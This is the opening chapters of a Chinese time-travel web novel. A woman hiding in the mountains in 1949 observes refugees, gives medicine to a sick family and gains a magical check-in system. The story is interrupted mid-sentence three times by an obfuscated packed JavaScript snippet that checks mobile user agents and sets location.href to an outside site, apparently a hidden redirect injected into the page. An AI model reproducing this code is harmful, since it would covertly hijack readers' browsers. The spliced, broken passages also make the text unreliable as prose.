《穿到五零攒个家》 1. 第 1 章 一九四九年,盛夏六月。 一个月没下雨,烈日下,山间吹过的风都带着热气,翠浓欲滴的叶片被晒到微微卷曲。 突然轰隆一声,天际传来雷鸣,打破山中静谧。 一大团乌云气势汹汹从远处天边随风滚滚而来,渐渐盖住山头。 姜榕背着自己的全部家当,躲在一颗枝繁叶茂的大树上,眼睛紧张地注意着下方行色匆匆的一行人。 那些人衣衫褴褛、面黄肌瘦,看起来跟乞丐没区别,但姜榕觉得他们应该不是乞丐。 这些人里男女老幼都有,拖家带口的,身上还带着不少行李。 虽然他们没生火做饭,啃的是不知道什么东西做的干粮,但是有人身上背着做饭用的锅碗瓢盆,行动间偶尔发出叮哐的响动。 他们的精神状态不像那些日子没盼头的乞丐那样萎靡,反而每个人眼中都带着与当前困境不太符合的亢奋与期盼。 姜榕猜这个世界也许跟她当初所在的朝代一样,世道不太平。 这些人大概是几户人家或者一个村子的人一起逃难,也许快到目的地了,所以看起来才那么亢奋? 这里离姜榕这段时间藏身的山洞很近,早在下雨之前,她就发现这些人了,而且这不是她见到的第一拨人。 姜榕很纳闷今天这山里怎么出现了那么多人。 她来到这个地方一个多月,因为人生地不熟,就在这座山里躲了一个多月,期间没遇到过一个活人。 姜榕之前也早在周边搜寻过,确认在这山里和外面山脚下,没有任何人近期在附近活动的痕迹,只有一些早已荒废的破房子。 没弄清楚自己身在何处之前,她也不敢住在那些破房子里,就找了个山洞当临时住所。 在最初发现这些人的时候,听到他们说的话,她惊喜地发现自己竟然能听懂! 得知自己所在之处仍属华夏地界,对姜榕来说是个难得的好消息。 而且他们的口音跟她待过几年的开封口音有些相似,在开封待的几年,她也学会了那边的话。 好不容易在山里遇到活人,惊喜之下,姜榕有想过,自己要不要装作也是开封逃难到这边的难民,以此身份跟对方接触,趁这个机会下山,融入人群。 毕竟她没想过隐居,总是一个人待在山里并非长久之计。 随身跟着她一起来到这个地方的东西,很多都快用完了,尤其是能防蛇虫鼠蚁的药,只剩下三包。 每包药最多能维持五天的药效,而且从第三天开始,药效会慢慢减弱,到第五天,驱虫效果就几乎接近于无。 不过经过认真思考后,姜榕还是没有选择跟他们接触。 她对这个世界了解的太少,对这个世界的开封同样一无所知。 此开封不一定是彼开封,她无法确定这些人到底是不是开封人,万一这个地方有其他城池的人说话也是这个口音呢? 万一人家撒谎呢? 尤其是在双方信息不对等的情况下,很多东西她都不懂,也无法分辨真假。 甚至还有可能在无知无觉的时候被人发现不对劲,都不一定能知道自己是怎么被别人发现的,那样太被动、太容易露馅了。 于是那时候,姜榕就决定还是更谨慎一些,暂时先避开这些人,继续观察再做决定。 她果断又迅速地带上了所有家当,准备转移到另一个备用的山洞。 然而在转移的中途,又差点跟另一拨人正面碰上。 她险险避开另一拨人,没被他们发现,又回头往回跑,绕路来到第三个备选的地方,也就是她现在待的这里:一棵距离第一个山洞比较近的大树上。 暂时躲避,一直到现在。 原本姜榕想在树上等这些人走后再回山洞,可惜六月的天孩子的脸,说变就变。 她刚上树的时候还是晴空万里,在树上没躲多久就变天了。 豆大雨滴先是零星落下几滴,掉在林间树叶上发出噼啪声响,像是乌云派出的急先锋,好心弄出些动静,提前提醒山间的活物,暴雨要来了,快些抓紧时间找地方避雨。 一道闪电划过天际,照亮半个阴沉的天空,接着那响雷轰隆几声,好像要把天炸出个窟窿似的。 姜榕听着雷声,心里直道倒霉。 藏身的树枝被大风吹得摇摇晃晃,她提心吊胆地抱紧了树干,暗自向漫天神佛祈祷,雷电劈下时,可千万别选自己在的这棵树。 乌云盖顶的速度快得令行人猝不及防。 山林仿若进入太阳落山后无光的傍晚一般,只有偶尔照亮半个天际的闪电,带来瞬时的光亮。 拍打树叶的雨声从稀稀拉拉渐渐变得密集起来。 雨滴连成雨线,茂密的树叶即将再也无法拦住大部分雨水,雨声催得还没找到地方避雨的人心焦。 眼看就要被大雨浇个透心凉,赶路人的心慢慢沉了下去。 有人抹了一把滴到自己脸上的雨水,发愁道:“不能拖了,再找不到地方避雨,就赶紧找个没大树遮挡的空地,用油布支个棚子,好歹能挡一挡雨水,不然被大雨淋一场,不知道又有多少人病倒。” 他们一路逃难过来,路上吃不饱、睡不好,身体亏空得厉害,眼看着快到地方,才能强撑着一口气罢了。 忽然,又有人惊喜地喊:“这边好像有个山洞!” 他们可算发现山洞了,连姜榕都不由在心里为他们松了一口气。 另一个人忙道:“快先带老人孩子进去避避雨!” “万一那洞里有蛇怎么办?要不我先进去点一堆火,用烟把那山洞里面熏一熏?” “哎呀!这时候哪还顾得上那些,来不及提前驱走蛇虫鼠蚁了,先进去再说!这又打雷又闪电的,站在树下可不安全!” 在树上听着雷声,同样胆战心惊的姜榕听了那人的话,忍不住默默点头。 心说:没错没错,这种天气最好远离大树,求你们赶快去洞里吧,里面安全得很,你们进去了,我也好下树,去找别的山洞躲躲。 俗话说狡兔三窟,在陌生的地方,她给自己准备的藏身之处可不止三个。 等那一行人全部进入山洞后,姜榕终于能从树上爬下来,赶往下一个藏身之处。 她戴上斗笠,又在脸上蒙一层布面罩,用来防止在山间急速跑动时被四周的枝条刮伤,一路抄近道疾行。 连续快一个月没下雨,老天似乎被憋得狠了,要一股脑下个痛快,那天跟漏了似的,瓢泼的大雨兜头砸下。 姜榕有些后悔当初出门找仲烨然时只戴了斗笠,没带上蓑衣。 斗笠顶多勉强让自己的头不被淋湿,再挡挡眼前的一小块地方,让视线不被雨水模糊个彻底。 大约一刻钟后,几乎浑身湿透的姜榕终于到达目的地。 在她快接近洞口时,一个惊雷炸响,紧接着是树木被劈开的声音。 姜榕下意识往自己斜后方那声音传来的地方看去,只见不远处,一棵树被劈成了黑漆漆的焦炭模样。 树底下还没被淋透的干燥落叶还燃起了火,幸好正下着大雨,火很快就被大雨浇灭了,才没让这火演变成山火烧起来。 姜榕不敢想象,如果刚才自己走得慢了些,会不会跟那棵树一个下场? 她被吓得浑身一抖,背脊发凉,眼见又一道闪电亮起,顾不上仔细查看洞里是个什么情形,不管三七二十一就猛地冲进了山洞中。 山洞口一块凸出的石块后面的隐蔽处,原本被家人安排藏在这里注意着洞口动静的女孩被突然冲进来的人吓了一大跳。 “你、你你你……”她吓得话都说不太利索了,转头冲里面喊,“妈,有人进来了!” 姜榕诧异地看了这女孩一眼,也有些意外。 她原以为这个山洞的入口被自己藏得足够隐蔽了,结果竟然还是被人找到了。 姜榕越发笃定,待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085006|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在山里躲着对自己来说确实不是什么很好的选择。 哪怕藏得再严实,也无法避免被人发现,既然这样,还不如出山,融入人群。 她站在洞口,脑中思考着如何出山的同时,不动声色地打量起那女孩。 对方十分瘦弱,衣服破破烂烂,脸上、手上、脖子上……没有布料遮盖的地方都是灰扑扑脏兮兮的,看起来跟她之前见过的那些人差不多。 她的头发还被剪成短短的狗啃样,只能靠声音勉强辨别出这是个女孩。 打量和思考花费的时间只是几瞬,很快洞里传出急促的脚步声打断了姜榕的思绪,她收回投在女孩身上的视线,把目光转向洞内。 一个同样灰扑扑脏兮兮,干瘦沧桑得看不出实际年龄的妇人快步走出来,那小女孩忙跑到妇人身后躲着,只露出半个脑袋,偷偷看姜榕。 姜榕看到出来的是个女人,悬着的心放下了一半。 以她对之前遇到的那些人的观察,如果出来应付突发情况的是女人,那么她们的亲近的人里,大概率没有能扛事的男人了。 姜榕还是比较习惯跟女人打交道,沟通起来会更顺畅。 只是那妇人一出来,就对着她喊了一声‘大兄弟’,让正准备说话的姜榕哽住了,好在她很快回过神来,回想起自己之前见过的那些人,再看看自己…… 在莫名其妙来到这个地方前,哪怕是跟仲烨然在外生活的那几年,她也没被亏过嘴。 家中绝大多数女子偏爱燕窝、银耳、人参、阿胶、红枣之类的补品,而仲烨然从小就劝她多吃肉、多喝牛乳羊乳、多活动筋骨,身体健壮能避开许多内宅中害人的小手段。 她的生母当初就是因为身子不够健壮,在她五岁时染上一场风寒后撒手人寰。 于是姜榕就把仲烨然的话听进去了,也照做了。 肉和牛羊乳在姜家不是什么稀罕物,因此她身高比家中女眷,甚至一些男人都高。 长辈还曾担心过她长得太过高壮,长大后会于婚嫁上有妨碍,毕竟时人多喜好或弱柳扶风纤纤弱质、或娇小玲珑小鸟依人的女子。 以目前她所见,这里的男人大部分还不如以前她家里的那些高。 她大概只比那些人里身高最高的男人矮半指,若混在他们之中,就是第二高的人,而眼前的妇人身高只勉强到她肩膀的位置。 原本姜榕体型稍显丰满,但来到这个地方后,躲在山里,吃不好、睡不好,心中又为将来忧虑,以至于瘦了不少,她身上女子特征已然不太明显了。 只是再瘦也比那些皮包骨的男人有肉,所以整体看起来竟然比他们还强壮些。 而且她出门时为了方便,一向做男子打扮,身上的衣裳与这里的人虽有些区别,但都是黑漆漆灰扑扑的样子,区别不算太大。 再加上还带着斗笠,蒙着脸和脖子,别人乍一看,会认错性别也正常。 思绪间,姜榕又听到那妇人问:“大兄弟,你也是逃难路过这里,进来避雨的吧?” 姜榕没回答,她觉得现在得到的关于这个世界的信息太少,还不知道该编一个怎样的身份和来历对自己最有利前,最好什么都不说。 她干脆装起了哑巴,不回答,也没反驳那妇人对自己的称呼,只默默紧了紧自己身上的包裹,环视洞内一圈。 山洞不太大,一眼就能看清全貌。 洞里除了那妇人和躲石头后面的女孩,还有一个蜷缩在地上,大热天身上还裹着破被子,暂时无法分辨性别的少年和一个看起来只有一两岁的幼童。 姜榕看几人眉眼有些相似,猜测这应该是一家子。 只是不知道为什么,她们没跟其他人族人或村人一起走。 经过观察,姜榕初步判断,这几个人加在一起对自己也没多大威胁,暂时在这个山洞避避雨没问题。 她就选了一个干燥又远离她们的角落坐下,摆出了与她们互不干扰的姿态。 2. 第 2 章 那妇人没等到姜榕的回答也不恼。 见这人对自己爱答不理的样子,反而同样把悬着的心放下了一半。 曾经在逃难的途中,她什么样的人没见过? 能井水不犯河水挺好的,她不在意别人不搭理自己,就怕遇到一上来就十分热络,一副乐于助人的模样,实际心怀鬼胎的人。 妇人没再试图跟姜榕搭话,转而刻意提高了嗓门对女儿说:“你跟我一起把咱们的东西收拾收拾,等会儿雨停了就下山。” 女儿不解,之前她妈明明说过,这山洞很隐蔽,可以先在这里多待几天,等大哥的病好转再下山。 她看了看外面,天上的乌云看着比冬天的棉被还厚,雨不像很快能停的样子,就问:“妈,要是这雨下到傍晚才停怎么办?” 那妇人就等着女儿问这个呢。 她立刻给女儿使了个眼色,答道:“你忘了,你姥姥家村里离这座山近,我从小就在周边山里蹿,对这山里的天气情况熟得很,听我的指定错不了,等下山后,顺着土路继续往外走半个时辰,就能到你姥姥家,到时让你舅舅送我们回家,也不知道村长家的那头驴还在不在,要是还在,让你舅舅去借他家驴车,要不了两个时辰就能到咱们家。” 女儿一时间没反应过来,疑惑地看向自己母亲,想说舅舅家不是就在这座山的山脚下吗?不用到了山脚还继续往外再走半个时辰呀…… 而且舅舅家在的村子早就遭难,全村都被鬼子害了,房子放荒好几年没人住,也塌了。 但疑问的话还没问出口,就看到母亲暗示的眼神,便硬生生把已经到嘴边的话咽了下去,改口说:“知道了。” 小姑娘也是个机灵的,见母亲悄悄用眼睛瞥向那个坐在角落不说话的人,仔细想了想,立刻明白了母亲为什么说这些。 她眼珠子一转继续问:“妈,我听说咱们这边也开始土改分地,前些年打仗,好多人家都绝户了,现在人少地多,这次分地,每家每户是不是能多分些?” 那妇人欣慰地看着她,为女儿的机灵感到十分满意:“能分多少、怎么分,这得回村里找人问问才知道,咱们家你大哥已经长到能当户主的年纪了,不管分多分少,总是能分到地的,现在各地的解放区都这样,只要以前没犯过事,甭管多穷都能分到地。” 姜榕瞥了一眼地上紧闭着眼睛,还在微微发抖的男孩,觉得那妇人肯定夸大了。 看他长相和身形,并不像已经长到能当户主的年纪,除非这个世界,男子十岁刚出头就能当户主。 “要是分到的地少也不用担心,现在咱们这儿刚解放不久,城里肯定要重建、要恢复生产,估计得招不少人干活。 等家里安置妥当,地里也收拾好了,你就在家带你弟弟,我带着你大哥去城里找点活干,咱们这儿老天爷常常赏脸,天灾少,只要有地,人再勤快些,总能挣口饭吃,农闲时再去城里打零工还能存点钱,日子慢慢就好起来了。 到时候攒够了钱,就给你大哥娶媳妇儿,也给你攒点嫁妆。” 脸皮薄的小姑娘脸上瞬间变得通红:“妈,你瞎说什么,我还小呢!” “就是年纪还小,才更应该早点开始攒起来,现在解放了,咱们普通老百姓也不用再提心吊胆,好日子在后头呢!”那妇人边说着边忍不住偷瞄姜榕那边,心里暗自期盼着,这人能听懂自己话里没明说的意思。 那些对话清清楚楚地传到了姜榕的耳朵里。 她们想表达的意思,她确实听明白了 也许她们以为自己使用的表达方式比较隐晦,但在姜榕这样出身的人听来,那跟直白地直接对她说没多大区别。 姜榕不知道‘解放’、‘土改’的准确意思,但能通过分析那些话猜到大概。 那妇人可能是防备着自己这个被她们误以为是男人的人昏了头脑,生出什么不好的念头来,做出伤害她们的事,所以展示了一番她们家的本土优势,又拐着弯告诉她,现在穷人回老家能分田地,城里招工也能找到活干,现在还不到活不下去的时候,可千万别走极端。 姜榕估计她们为了稳住自己,给出的那些与生存相关的信息大部分为真,与她们自身相关的具体信息八成是假的。 不过关于分地和招工的信息,对姜榕来说确实很有用。 其实姜榕看她们已经这么惨了,还要如此提心吊胆,心中有些不忍。 很想跟她们说,自己只是来避雨而已,不是什么坏人,不会对她们怎么样。 但是一说话就很容易暴露自己是个女人,姜榕不敢因为对方是比自己瘦小的妇人和小孩,就小看她们。 更不敢去赌自己被人发现是个孤身在外行走的女人,情况是否会两级反转,让自己变到弱势地位。 她的心不是铁打的,所以会同情别人,但还没好心到会去为了让别人安心,牺牲自己的安全,所以只好让她们继续紧张着了。 姜榕靠在山洞的石壁上装作打盹儿,实际上她自己的身体和精神也紧绷着,没放松对那一家四口的关注。 天黑沉沉的,没有太阳。 黑暗把人对时间流逝的感知能力也减弱了。 不知过了多久,姜榕听到山洞另一侧,那一家四口所在的地方,传来一阵压抑的哭声,荒郊野外,听着还怪瘆人。 姜榕睁眼看过去,就看到那妇人和她女儿伏在那躺着发抖的少年身上,她们也在发抖,不过是哭得浑身发抖。 她们的哭声很像这场雨,一开始很小声,到最后已然顾不上有让她们忌惮的外人在场,抑制不住地放声痛哭起来,连带着原本睡沉了的小孩也被吓醒,跟着放声大哭。 “呜呜呜呜呜——我的儿,你再坚持坚持,咱们快到家了呀!”那妇人边哭边痛苦地说着。 她跟女儿之前的对话里,虽然有夸张的成分,但是大多数都是实话。 她们确实快到家了,可胜利的曙光就在眼前,儿子却病成这样。 药已经吃完,人却没有好转,现在给儿子擦身降温也没用了,回家和分地的喜悦被悲伤完全冲散。 姜榕原本不想多管闲事,毕竟离开姜家这个培育她的温室后,她在外也看过不少生离死别的惨事。 一开始这样的事还能让她心神震动,如今再见到,内心即使仍有触动,却无法再有最初见到时的那种慈悲心肠,更不敢轻易出手相助。 “妈,山里应该有能治发热的草药,我这就去给大哥找,等他吃了药,肯定很快就能好了!”那女孩说着,站起身来,却不防外面又炸了一声雷。 轰隆一声,比之前的雷声还要响,吓得她顿在原地,也炸醒了她那沉浸在悲伤中的母亲。 “不行!”女孩被母亲一把拽住:“外面还在打雷下雨,出去不被雷劈也会被雨淋湿,你身子骨还不如你大哥强壮,被淋一场,肯定也要生病,到时候别你大哥没救回来,反而把你也搭进去了。” 女孩哭着说:“那可怎么办?爹和爷爷奶奶都没了,我不想大哥也死……” 她母亲一时间真是进退两难,一方面如果大儿子没了,在乡下家里没个能顶事的男人,她们回到村里,日子可能会更难过。 在村里没儿子挺不直腰杆子,可小儿子是在全家逃难离开村里后,在鲁省那边日子稍微安稳了些才怀上的。 万一遇上那混不吝的人,想霸占她家的房子和地,说她丈夫没了,死无对证,不承认小儿子是她丈夫的孩子,不许她拿回以前自家的好田地,可就麻烦了。 另一方面,哪怕她很自己出去找药,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085007|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救大儿子,却还有另外两个孩子,不能为了大儿子不顾这两个小的,把他们就这么扔在这里,要是她也出事了,两个小的可怎么办? 姜榕看着这一幕,手不动声色地摸向衣服的内袋,那里面藏着一包药片。 当初仲烨然给过她一瓶治风寒的药,一共二十颗。 来到这里后,她把那瓶药平均分成几份,分了好几处藏。 这种药她用过,有退烧的功效。 要不要给她们几颗,顺势借助她们换得一个走出山林,融入外界的机会? 姜榕在心中反复斟酌权衡每一个选择会得到的结果,最后她无声地叹了口气,终究还是拿出两颗药。 她想着,就当这是她们给自己提供那些信息的回报吧。 即使那些话是她们为了稳住她才说的。 但这事论迹不论心,在这种情况下,她们给的信息大部分真实并且对她很有用,这就够了。 姜榕就地找了两张被风吹进来的稍大的落叶,简单擦了擦后,分别包住一颗药,团成两团,往那一家四口所在的地方掷去。 两个树叶团子在空中划出一道弧线,啪地一下轻响,砸到女孩面前的土地上,又把她吓了一跳。 女孩带着惊慌下意识看向姜榕。 对上她惊恐的眼神,姜榕仍旧没说话,只是伸出手指了指那两团树叶,然后比了个‘一’的手势。 那女孩鼓起勇气捡起那两团树叶打开,看到里面的东西惊喜不已:“这是、这是西药?!” 她以前跟父母逃难到鲁省那边的解放区后,在那里见过跟随安置难民的部队一起来的医生护士用药,当时就有这样白白的小药片。 不像以前去抓的药方还得熬煮成一碗黑乎乎的苦汁子,这种西药吃几颗就能治病。 只是那边的物资也不富裕,药品数量少又很难得,还得支援前线,大部分普通人生病了,还是只能自己熬药吃。 没想到那么珍贵的药,这个陌生人竟然就这么给她们了! 她怯生生地问:“您真的给我们了?”语气中带着不可置信。 姜榕没说话,只是点头,继续比‘一’。 “您的意思是,一次吃一颗?” 姜榕再次点头,又比了个‘二’。 女孩也很聪明,立刻问:“这是……一天两颗的意思吗?” 姜榕又点了点头就收回手,没再看那边。 她不敢保证这药一定能把人救回来,但她们还有其他更好的选择吗? 如今只能死马当活马医。 那两颗药如果有效果,她会救人救到底,给够一个疗程的量。 如果没用,那她也没别的办法了。 女孩把药递给母亲,那妇人拉着女儿冲姜榕磕了三个响头,嘴里不住地道谢,然后回去立刻把药片塞进大儿子嘴里。 可她大儿子似乎已经不知道吞咽了。 她们不愿意放弃,又用赶紧的石头把药碾碎,溶入水里,掰开大儿子嘴巴,一点一点地往他嘴里灌。 好在这个方法是有用的,虽然撒了一些,但是也勉强把溶了药的水灌进去了大半。 大约两刻钟后,药开始生效。 女孩伸手在她哥额头抹了一把,惊呼:“有用!这药有用!大哥身上发汗了!” 两人急忙给他擦汗,又投了湿布拧干,不断地给他擦拭额头和身体,一通折腾,完全顾不上别的。 等忙完回过神,正想拿出家中仅剩的三块大洋中的两块,送给赠药给她们的恩人作为感谢。 一转头,却发现恩人不知道什么时候已经走了。 原来的位置上,只留下一片树叶,树叶上是四颗白色的药片。 而山洞外,已然云消雨散,晴空当头。 3. 第 3 章 阳光透过密林间隙,在林间投下星星点点的光斑。 姜榕抬起头,眯着眼看向被水洗过似的湛蓝天空,自言自语:“那妇人果然没说错,这雨还真没一直下到傍晚。” 她有心想通过那一家四口出山,但现在还不是时候。 姜榕悄悄回到之前的山洞,想碰碰运气,看第一波有她熟悉口音的人有没有离开。 这次运气不错,那些人虽然也想尽快赶路,但是刚下过雨的山林泥泞湿滑,他们全都穿着草鞋,踩进泥泞中,要不了多久草鞋就得报废。 姜榕到那个山洞附近的时候,有些人在山洞外透气,顺便警戒周围,有些人在山洞里,听里面传出来的动静,应该是在收拾东西,预备随时能带上东西走。 她选了个不近不远,恰好能听到他们说话又不容易被发现的地方,观察这一行人。 听他们的一言一行,看他们的一举一动,记在心里,模仿练习,同时也通过这些人了解一些关于外界和他们老家的信息。 期间姜榕还回过一次自己赠药那一家四口所在的山洞,同样是悄悄地去,没让她们发现。 那一家四口除了最小的幼童,其他人穿的鞋子也是草鞋,而且那妇人的大儿子刚醒,病还没好,身体很虚弱,在他身体没完全恢复前,她们决定先在山洞里多待几天再下山。 偷听到她们下山的具体时间后,姜榕才又回到第一拨人那边继续观察学习。 越观察姜榕越庆幸自己先前的谨慎。 这些人的口音她是挺熟悉的没错,可他们还真不是她以为的开封人,这里的开封,跟她曾经待过的开封也不是同一个! 为何如此她目前不得而知,好在这也不是眼下最紧要的事。 姜榕目前最想知道他们是哪里人,她决定到时候那里就也是自己的老家了。 背井离乡的人闲下来后,免不了会提到家乡。 她很快就知道了,这一行人是因水患,才从一个叫开州的地方开始逃难,而开州与开封同属一个省份,距离开封三百多里。 原本他们想去的是其他比较安稳的解放区,比如姜榕在一家四口那里偷听时,听到的鲁省。 后来跑到途中,听说解放军要解放江陵城了,他们就跟那一家四口一样,想着这边富裕天灾又少,要是能在这边落户分得田地就走大运了,比回老家好。 不能也没事,刚解放的地方得重建,城里肯定需要不少人干活,更容易挣活路,他们才又转道往这边来。 姜榕听完心中暗忖,怪不得这些人虽然形容狼狈,看着像乞丐,眼神却不像,他们眼中充满着对未来生活的期盼。 也确认了,那妇人在这方面的信息上果然没骗自己。 她对解放区和解放军也越发好奇了。 从这些人的言语中,姜榕得知这个国家经历了很长时间的战乱,目前这个最强势的政权所统领的军队正以秋风扫落叶之势横扫全国,很有大一统之气象。 她曾背着家中长辈偷偷看过的史书,明白天下大势,合久必分,分久必合,久经战乱的王朝再次统一之后,必然需要休养生息。 如若这个政权真能成功完成大一统的伟业,且上位的帝王及其继承人有能力又有体恤百姓的仁心,往后短则一两代,长则几百年,百姓应当都能过上相对安稳的日子。 也就是说,只要自己出山后能成功融入这个世界,自己就也算这个国家进入大一统和平时期的第一代人,应当也能过上安稳日子。 思及此,姜榕心下稍安。 但此时她还不知道,皇帝早成老黄历了。 只是观察这里的人时,觉得有点奇怪,这些人里,所有男人以及部分女人都留着短短的头发,跟刚还俗了一段时间的尼姑和尚似的。 即便头发稍长的女人,头发也只长过肩部。 姜榕摸了摸自己的头发,她的头发完全放下时长过臀部,早觉得太长的头发有些碍事了。 要不也把自己的头发削短? 有这个想法后,姜榕又跑去观察之前她在山里险些正面撞上的另一拨人。 这一拨人的口音跟开州来的那些不一样,显然他们是从另一个地方逃难过来的。 看到两个不同地方的人头发都那样,姜榕果断对自己的头发下手了。 她找出自己做的细麻绳,割成小段,把头发紧紧地绑成一小撮一小撮的样子,然后用匕首在距离头皮一指长的地方开始削头发。 削下来的头发刚好是绑好的一小撮,这就省去了她整理的功夫。 从前她生活的朝代,有人会专门收头发做成假发髻售卖。 如今她虽有一些跟过来的行李物品傍身,却不知跟过来的银钱是否能用,也算得上是身无分文了。 姜榕想着这里没准也有人收头发,一个月的风餐露宿,只是让自己变瘦了,还没影响到头发。 她的头发以前养得很好,又黑又直,色泽莹润,触之如绸缎般丝滑,兴许能换到点银钱。 若是没人收,再扔掉就是了,反正带着又不重,也占不了多少地方。 晚上,姜榕是在一个大树洞里睡的觉,第二天起来又去观察别人。 可惜开州来的人只在山里多待了一天,第三天清晨,天色刚蒙蒙亮时,他们就背上行李下山去了,另一拨人也是如此,只剩那一家四口还在。 姜榕原本想等那些人走后,回第一个山洞继续住几天。 然而观察他们的时候,她发现这些人估计觉得这里只是个临时落脚点,在解决排泄问题时就有些不太讲究。 小孩是在山洞里挖个小坑解决后填埋,大人就直接在山洞附近不远处的草丛里解决。 姜榕只好放弃这个山洞,重新回到树洞里,接下来的几天就只观察那一家四口。 等到她们家大儿子病好得差不多要下山时,她才悄悄跟着她们离开。 这几天没再下雨,下山过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085008|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程很顺利,姜榕跟着她们来到山脚处,那些她曾经来查看过的破败房子前。 看到那妇人带着儿女往其中一座破房子走去,红着眼眶站在那里看了好一会儿,才对儿女说:“走吧,咱先回村收拾好家里,等中元节再来给姥姥姥爷他们上坟。” 姜榕心想:果然,这部分她们撒谎了。 但这样的谎言是为了保护她们自己,无伤大雅,对她没损害,姜榕还不至于计较。 那一家四口走上土路,顺着土路一直往前走。 除了太阳最晒的那个时间段她们休息的时间比较长,其他时候就一直在走,偶尔停下休息,用时大概也不会超过半刻钟。 一直走到日暮西垂,天色暗下来才走到一个村庄,但她们也没进村,就在村子最外围找了个倒塌了一半的土坯房,打算将就休息一晚。 很显然,这里也不是她们家所在的村子,那妇人之前说坐驴车要不了两个时辰就能到她们家,也是在模糊信息瞎说。 这个村庄倒是有人烟,但姜榕爬上一棵树,借着还没完全被黑暗隐没的天光,远远地数了数,村里一共二十几座乡下小院,只零星四五座有人。 不知道这个村庄的其他人是逃难去了,暂时还没能赶回来,还是像妇人的娘家人一样被那什么鬼子杀害,再也回不来了。 为了第二天能及时跟上那一家四口,姜榕选中一个距离她们稍近些的房子,打算简单吃点干粮就赶紧休息。 天彻底黑下来之前,她一直在离得比较远的地方待着,等夜幕彻底笼罩大地,才走到选好的房子倒塌的那一面,抬脚走进去。 然而她一只脚刚踏进房子里,耳边响起乍然‘叮铃铃’的一阵铃声。 在这黑灯瞎火破屋烂瓦的环境下遇上这种事,姜榕差点被吓得惊叫出声,好在她还记得不能惊动别人,硬生生把声音咽回去了。 铃声停下后,眼前出现一块让姜榕感到熟悉又陌生的白屏,把她险些从喉咙里蹦出来的心脏按回了原位。 姜榕定睛看向白屏上显示的黑字:恭喜您激活签到系统,新人首签有福利! 福利一:丰厚新人首签礼包1个(签到后自动发放,可在系统包裹中查看); 福利二:首签当日可在‘日常栏’与‘附加栏’各选一件物品,往后每日签到,仅能在‘日常栏’或‘附加栏’选择一件; 福利三:首签当日所选物品随机翻倍。 选择物品并提交,则签到成功! 再往下,显示着——签到第1天。 日常栏:布拉吉碎片1张、衬衫碎片1张、粗面粉1斤、糙米1斤、饮用水1瓶、白面馒头1个、牛奶1盒、白菜1颗、肉票碎片1张; 附加栏:全程护理装卫生巾1包、防蛇虫鼠蚁药1袋、金镯子碎片1张、相机票碎片1张、电视机票碎片1张、自行车票碎片1张; 请尽快选择! (倒计时:03:59:01) 4. 第 4 章 回过神后,姜榕没有马上进行选择,她第一反应是疑惑,疑惑自己为什么能获得这个系统。 这般神奇的东西,应该不可能是随随便便什么人都能拥有的,当一个人获得一些东西,必然也要失去些什么。 最让姜榕揪心的是,自己曾在仲烨然那里见过类似的白屏。 不过那时她不是白屏的拥有者,无法看到全貌。 这个熟悉又陌生的白屏,让姜榕不由自主地想起这段时间以来,自己刻意不去想的、生死不明的仲烨然。 一旦想起,悲伤的情绪便从心脏开始,控制不住地在身体里无声蔓延。 假如这真的是当初仲烨然拥有的那块白屏,自己获得它,是否意味着仲烨然已经遭遇不测,所以由自己来继承了? 姜榕不敢去想自己是以什么身份来继承的这个系统。 妻子? 还是……遗孀? 她拽着包袱的手紧了紧,快步走进破房子里,选了个相对平坦的隐蔽角落,放下背上的包袱,捂住泛疼的心口。 缓了好一会儿,姜榕强迫自己把注意力从那个问题中转移,调整好情绪和状态,将目光放回白屏上。 白屏上的倒计时还在继续,她刚才的失控并没有浪费太多时间。 剩下的时间,足够姜榕去思考哪样东西最适合现在的自己。 日常栏里的布拉吉和衬衫她没听说过,想想不出是什么东西,只能看字分析。 布拉吉带着布字,而‘衬衫’两个字都带衣字旁,也许这两样东西都是以布料为原料制成的物品? 但用布做的东西,不管是什么,自己现在都暂时用不上,万一系统给发的是展新的物件,就很不符合她现在的身份,她即便拥有了也不敢拿出来用,不选。 水,姜榕也不缺。 她当初是为了寻找仲烨然而出门,做好了要远行和很久没办法回家、会面临各种不同环境与突发情况的准备。 外出的东西她备得还算比较齐全,所以水壶和在野外煮东西用的小锅都带着的,因此也跟着一起过来了。 之前待的山里,山涧、山泉都不缺,现在随身带的水,就是她在山里打的山泉水,用小锅煮沸晾凉后,才装进水壶里。 一壶水省着点喝,够喝三天。 出山后,一路上也是时常能看到小溪,水田,说明这地方大概位于南方,并不缺水。 就算三天后她把水喝完了,还没找到落脚的地方,想再弄一些想来也不难。 接下来是白面馒头,只有一个,即使有首签福利能翻倍,也不太划算,毕竟一斤面能做好几个馒头呢。 